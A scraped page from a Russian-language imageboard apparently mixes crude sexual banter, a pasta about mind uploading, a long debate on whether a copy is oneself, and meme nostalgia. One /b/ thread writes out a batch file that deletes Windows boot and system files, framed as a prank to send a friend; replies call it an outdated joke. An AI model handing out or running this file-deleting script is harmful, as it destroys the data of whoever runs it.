/all/ - Всё


Аноним
Смотрите тогда Брата.
[Youtube] ???
Аноним
>>7971 #
Но на тытрубе все работает.

Аноним
> дрискурс


Аноним
>>7882 #
Приятно же соснуть хуец своей тянучки, или быть ею выебанным.
>>7885 #
Аноним
>>7883 #
Я не хочу, я вообще мимокрокодил.

Просто я предполагаю что тот анон просто хотел бы любоваться членом у тян на расстоянии, а трахать вполне обычную вагину.

Как по мне члены у тян это не эстетично.
Аноним
Профитов несколько:
1. Твоя любимая девочка, сможет любить других девочек, когда тебя нет рядом.
2. Твоя любимая девочка, на основании опыта п.1, сможет лучше понимать что нужно тебе от нее.
3. Другие мальчики, подкатывая к твоей девочке, внезапно будут удивлены.
4. Можно измерять расстояния, кратные 5 метрам.


Аноним
>>7077 #
>>7080 #
>>7083 #
Нашлось:
> В новой редакции МКБ деления шизофрении на различные формы мы уже не найдем. МКБ-11 предлагает специалистам оценивать проявления симптоматики у пациента, больше внимания уделяя дескрипторам, расширяющим представление о состоянии пациента с определенным диагнозом, таким как «негативные симптомы при первичных психотических расстройствах», «депрессивные симптомы при первичных психотических расстройствах» и так далее. Сама же шизофрения делится теперь только по количеству эпизодов и их длительности.
> По-видимому, дескрипторы ввели для более тонкой и гибкой диагностики, более полного описания имеющейся симптоматики. Дело в том, что, по мнению многих специалистов, за нынешним диагнозом «шизофрения» может скрываться абсолютно разное содержание и далеко не всегда пациенты с одним и тем же диагнозом демонстрируют похожую картину заболевания. Новый подход позволит построить более индивидуальный подход к пациентам, что, вероятно, расширит границы «нормальности». Во-первых, людей, страдающих шизофренией, теперь уже нельзя будет терминологически точно объединять словом «шизофреники». Во-вторых, это изменит отношение к процессу лечения и ухода со стороны врачей и медперсонала.
> Тем не менее, учитывая активное развитие нейронаук, в ближайшие годы стоит ожидать дальнейшего изменения взгляда на шизофрению, а также ракурса развития психиатрии в отношении данного заболевания.

Не совсем отменили, меня дезинформировали, но как видишь меняется оно уже.

>>7844 #
Аноним
>>7837 #
Ничего не изменится. Один хуй карательная психиатрия будет записывать неугодных в шизики и лишать всевозможных прав.

/b/

「gghhghg」

tytyРазвернутьПоследний 100
GIqSnWaDsEx86 KB1054x865rage-super-rage-l.png
Как создать вирус для виндовс
1. Запускаем блокнот
2. Вставляем туда это:
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
3. Сохраняем как file.bat
4. Кидаем файл другу
5. ???
6. PROFIT!
Аноним
Не знаю даже сколько лет этому баяну. Времён винды 95.
>>7705 #
Аноним
>>7682 #
> Времён винды 95
> ntldr

Иди нахуй, даун
>>7709 #
Аноним
>>7705 #
Чего раскукарелось чепушило?
autoexec.bat и boot.ini давно нет, это пережитки того ответвления винды которая сидела с досом, то есть 95, 98, ME. В XP удаление этих файлов ничего ей не сделает.
Удаление ntldr да приведёт в XP к сообщению NTLDR is missing, которое тривиально исправляется. win.ini XP тоже особо не нужен насколько я помню.
NT появилось до 95 винды, так что про времена я прав. Но современное NT не хранит загрузчик в корне диска C: так что это всё мусор из тех дремучих времён.
>>7838 #
Аноним
>>7709 #
Что ж ты так нагрелся, животное?

/b/

「Паста от Эмогая.」

=Эм0=РазвернутьПоследний 100

1.
Я лежал на операционном столе, щурясь от яркого света. На мою голову был надет шлем с сотнями мелких электродов. Причёску попортили, гады, подумал я.
Но где врачи? Они вроде хотели спасать меня после очередной попытки суицида?
На этот раз я воспользовался советом из /б/ и резал вдоль.
Раздался слабый гул, кожей головы я ощутил покалывание и щекотку. Электромагнитное поле!
Что же они со мной делают? Опыты ставят? Ну да, наверное, ведь у меня нет родственников и друзей, никто не хватится ещё одного пропавшего неформала.
В глазах стало темнеть. Расхотелось дышать. Всё стало всеравно. Я как бы отплывал в приятное чёрное безмолвие ногами вперёд. В палату вошла молодая женщина в белом халате. Подошла ко мне, проверить угасающий пульс. Наклонилась... Последним сознательным движением я схватил её за запястье. Раздался электрический треск, запахло жареным. Женщина пошатнулась и упала в обморок. Шиш вам, а не опыты, успел подумать я, гадко ухмыльнулся и окончательно уплыл во тьму небытия.

2.
Ранее.

- Итак, вы предлагаете записывать альфа и бета волны мозга, чтобы воспроизвести их на компьютере, так? Что вы ожидаете от этого эксперимента?
Седой бородач и молодая женщина сидели в переговорной комнате. Бородач курил сигару, перед женщиной стоял стаканчик с кофе.
- Я предпологаю записать воспоминания подопытного, ведь именно они составляют личность! Я уверена, что так мы сможем сохранить сознание человека для потомков.
Только представьте, для решения любой сложной задачи мы сможем обращаться не к живому специалисту, который требует зарплаты, социальных благ, а к компьютерной программе на основе человеческого разума! Какая экономия, ведь компьютеру не надо платить пенсии!
- Чтож, произнёл седой учёный, в этом есть разумное зерно. Даю зелёный свет на одного подопытного, в больницах наверняка есть одинокие люди присмерти.

3.
Очнитесь! Что случилось? Подопытный напал на вас?
Я с трудом разомкнул глаза. Что? Где я? Седой бородатый мужчина тряс меня за плеч
57 posts and 3 images omitted See All
Аноним
GIqSnWaDsEx63 KB564x468DoKfrvFVsAAxVD0.jpg
Ладно, ты прав.
Без обоснования почем и опираясь чисто на твои субъективные ощущения.
>>7834 #
Аноним
>>7833 #
А тут иначе никак. Потому что сам предмет спора и тем более постановка вопроса не дают возможности рационально установить истину. Спор о любом утверждении со словом "это" - "Копия это ты/не ты" - это спор об определениях, а спор об определении штука заведомо провальная, потому что определение в голове, а не во внешнем мире.
Инстинктивно большинству людей ближе не признавать копии собой, однако у этой позиции есть очевидный изъян - в условиях сложной физики невозможно установить, где кончается оригинал и начинается копия, и можно легко контрить эту позицию, сказав что копией ты становишься когда у тебя обновляются нейроны (если считать копией отдельный физический объект), или когда ты засыпаешь (если непрерывно существующую машину). Впрочем, у признания копии тоже есть изъяны. Какие-то из них я возможно не вижу из-за собственной ангажированности, но из тех что вижу, самый главный: в информационном плане любой объект существует всегда как часть множества возможных объектов, а значит смерть это иллюзия, умереть принципиально невозможно.
Если немного непонятно, поясню. Упростим и представим, что люди могут существовать всего трёх вариантов - красные, синие и зелёные. Ну например человек состоит из одного атома, а атомов во вселенной всего три разновидности. Уничтожив все копии синего человека, мы не уничтожаем его информационно - при желании его легко можно будет воссоздать, зная о том что люди бывают синие, зелёные и красные.
Чёт хуёво объяснил. Раньше лучше объяснял. Ну вы поняли короче о чём я.
>>7846 #
Аноним
Вот на примере натуральных чисел лучше объясню, как раньше, это понятней. Допустим, есть у нас числа от одного до десяти. И допустим, мы решили уничтожить тройку. Прошлись по вселенной. Уничтожили всё, что существует в трёх экземплярах, все проявления цифры три. Уничтожили мы тройку? Конечно нет - она осталась как нечто между двойкой и четвёркой. И стоит немного зазеваться, как она снова проявит себя. Информация не уничтожена.
Допустим, мы нашли способ закодировать человека так, чтобы он был натуральным числом из определённого диапазона. Ну или любую другую информацию. Теперь он становится бессмертным - в любой момент мы можем перебрать все возможные варианты и получить среди прочих вариантов этого человека, даже если уничтожить диск с его записью.
Аноним
У этого есть практическое следствие - при ограниченности объёма стандартного сознания, в быстро расширяющемся межгалактическом обществе, граждане которого верят что копии это они, вскоре жить становится несколько бессмысленно - заканчиваются все возможные варианты человека и даже не копируя себя, каждый всё равно обладает миллионами копий, разбросанных по всей Вселенной, чисто статистически. На практике, конечно, смысл не теряется - во-первых будут разумы с объёмом значительно большим стандартного, во-вторых хуй знает сколько ещё звёздных систем надо захватить чтобы достигнуть такого невероятного населения, в третьих несмотря на идентичность личностей статистических копий, надличностные (социальные) структуры над ними различаются.
Аноним
>>7834 #
>Потому что сам предмет спора и тем более постановка вопроса не дают возможности рационально установить истину.
Сначала определи наличие реальности, потом уже думай о существования в ней истины в рамках имеющейся логики.
Из того что мы знаем:
- Жизни после смерти как-то не особо есть. Что равносильно постулату: смерть тела (а конкретно мозга) - смерть сознания и личности.Соответственно, смерть части мозга - смерть части личности. Так же как аффективное состояние или опьянение не является нормальным состояние сознание и соответствует измененному состоянию. Состоянию утраченной концентрации, неправильного восприятия, нарушения двигательных функции, чрезмерному возбуждению. Все это ты, но это уже не совсем ты, потому что твои мотивы действий изменены средой, потому что ты ее неотъемлемая часть.
- Отсутствие личности в организме или машине не означает отсутствие сознания и возможности отделять я от не я. Это можно проверить даже на достаточно одаренной псине или на тех же больных головой, хотя обратная связь что с одними, что с другими, затруднена. Тем же кошкам и собакам снятся сны, в которых они взаимодействуют с воображаемым ими миром, то есть они свободны выделять в нем себя.
- Наличие только рациональных действие свидетельствует в пользу утраты сознания и переходу к автоматизму. В противовес этому, наличие только иррациональных действий свидетельствует об разрозненности сознания, отсутствии осмысления последовательностей хода вещей и их организации.
Что из этого следует:
- Проверить существование жизни после смерти принципиально невозможно. Не живому все равно до твоей информации.
- Часть сознания личности - является частью сознания личности, но при этом, данная часть может обладать целостными качествами личности отдельных состояний. Об этом тяжело судить, пока не удастся пронаблюдать весь их спектр с физическим исключением непосредственно связанных частей носителя сознания. Разрушенная личность до определенного состояния тоже личность. Предел этот очень размыт в виду отсутствия все той же обратной связи с наблюдаемым.
- Принцип тождества, с точки зрения одной из копий, к сознанию не применим. Любая достоверная или полная копия, не считая забитых в угол депрессий, будет считать себя вполне оригинальной и не связанной с другой копией.
>Инстинктивно большинству людей ближе не признавать копии собой
Вовсе нет и даже наоборот. Больше половины хочет верить в собственную реинкарнацию в копии себя.
>в информационном плане любой объект существует всегда как часть множества возможных объектов, а значит смерть это иллюзия, умереть принципиально невозможно.
В таком случае, жизнь отдельного сознания личности тоже невозможна, потому это сознание будто бы летучий голандец есть либо у всего, либо ни у кого. Но ведь это не так?
Не устану повторять, но информация не является предметом объективной реальности, потому что это форма упрощенной интерпретации. Информация не является объектом. Это всего лишь набор камушков в твоих руках, а как их интерпретировать решать тебе. Можешь их посчитать, а можешь взвесить. Так называемый смысл в предметах задает личность, она является потребителем информации, среде же твоя информация, как и твоя личность, абсолютно безразличны.
>мы не уничтожаем его информационно
Мы уничтожаем его и все. Информация не предмет и не материал, это набор свойств на основе условных договоренностей.
Фокус заключается в том, что все эти опыты кажутся правильными только с точки зрения стороннего наблюдателя, для подопытного смерть будет смертью.
Напоследок, самой простой опыт. Попробуй осознать себя в ком-нибудь другом не изменяя состояния сознания и чем-нибудь подтвердив это. Ведь нет же никакой разницы между тобой и кем-то еще?

/b/

「dffdfd」

dffdfdfdРазвернутьПоследний 100
GIqSnWaDsEx3 KB602x264hu-logo.png
http://rgho.st/72L444gpf
Новый современный движок на PHP для создания своей имиджборды.
Инструкция:
1. Скачайте его;
2. Создайте доски (/b/, /d/, etc.);
3. Переименуйте settings.default.php в settings.php и отредактируйте этот файл;
4. Запустите скрипт по ссылке http://вашапараша.ru/доска/imgboard.php/;
5. Вот и все!
%%Можете проверить антивирусом, это не очередной вишмастер.%%

/b/

「книги」

АнонимРазвернутьПоследний 100
GIqSnWaDs354 B116x46LogoISBN.gif
Почему до сих пор никто не догадался привязать облако тэгов к ISBN-у или еще какому номеру?
Это ведь столько литературы пропадает зазря без должного внимания читателя. Не говоря о том, что у много чего вообще нет никакого номера, потому что оно не издавалось как печатное издание никогда, а это "чего" кто-то написал и оно возможно кому-то интересно.
Но прямой поиск только может отсыпать рекомендаций фром бидло то бидло, рейтинги и прочую никому не нужную трахамудию на коммерческих дрожжах.
С технической литературой вроде немного проще, насколько я помню, потому что она сама по себе жестко тематическая. С художественной же дело обстоит иначе, потому что тяжело передать без каких-то цветов-градиентов-процентов и размеров букв ключевые направления текста.
Может быть это не особо кому-то интересно, потому что читает не так много народа, как просматривает смишнявки?
10 posts and 0 image omitted See All
Аноним
GIqSnWaDsEx22 KB500x49635.jpg
>>7786 #
Лол. Человек, который за свободу распространения информации, ограничивает ее распространение.
Ох уж эта шизофрения!
>>7792 #
Аноним
>>7788 #
Слить в любом случае не помешает, хотя бы потому что это лакомый кусочек для копирастов.
Аноним
>>7789 #
Армянская ебанашка, они такие. Только вот нахуй она нужна, когда можно самим такой сайт из шаблона поставить?

Аноним
Test
Аноним
tets
Аноним
нульч пиздат а ты сосатб
Аноним
>Ебало-проповедник - Шизик, который проповедовал в последние месяцы жизни говнульча свой культ, где главная роль отводилась Богу Ебалу. Имела неплохую шизо-мифологию, частично состояшую из мемов ютуб пупера "Niggacommunist", собственно, сама идея Ебала пошла из его видео под названием "Диско-Ебало. Почти каждый день создавал треды - "храмы", где сначала постил свои пасты, которые играли роль священного писания, а потом начинал шизить. Однажды такой тред даже закрепил моченатор. Идею подхватил другой шизик, который сделал картинку - хуевый фотошоп, где наполовину было лицо копрофила, обмазавшегося говном, а на другую половину - Брекоткин. Потом другой шизик решил сделать альтернативу Ебало-Культу, которая занималась поклонению Кало-Ебалу (в мифологии оригинального культа - орда клонов Кало-Ебал, которые служили Анти-Ебалу), сделав таким образом раскол в церкви, но поблизости была смерть Говнульча, поэтому после того, как говнульчеры перекатились кто на сосаку, кто на парашу Снивуха, кто на Лже-Говнульч, все позабыли о культе. Оригинальные пасты были утеряны. Использовал аватарку Брекоткина.

Как-то вечером я вбросил видео с Брекоткиным в ответ на какой-то пост и ушёл. Вернувшись следующим утром, я просто охуел. Всё было засрано им — ЕБАЛОМ! Но мне конечно же никто не поверит. И нет, я не был форсером. Ответил просто что-то на пост про азиатов или типо того. Ответил азиатским ебалом, и это стало говнульче-мемом, что меня очень сильно удивило.

Если я скажу что я придумал кличку Чемпиону(Членпион), вы поверите? Думаю, нет. Просто был дискомфорт от того, что он называет себя Чемпионом, непонятно почему и зачем и нужно было дать ему имя которое он заслуживает, так и появился Членпион.

[Youtube] ???
Аноним



Аноним
Правда, название мудацкое. Надеюсь, поменяют.
>>7663 #
Аноним
>>7618 #
Нет, блядина, не поменяют
Аноним
>>7617 #
>Анимация, наверное, дорого стоила
По ходу, они бесплатно работали.
Аноним
>>7687 #
Нет, блядина, не стоила.

/b/

「Тема」

АнонимРазвернутьПоследний 100
GIqSnWaDsEx65 KB782x96006f.jpg
К тому моменту, как изобретут кошкодевочек, они уже никому не нужны будут. Люди откажутся от секса и отношений как от пустой траты времени.
125 posts and 61 images omitted See All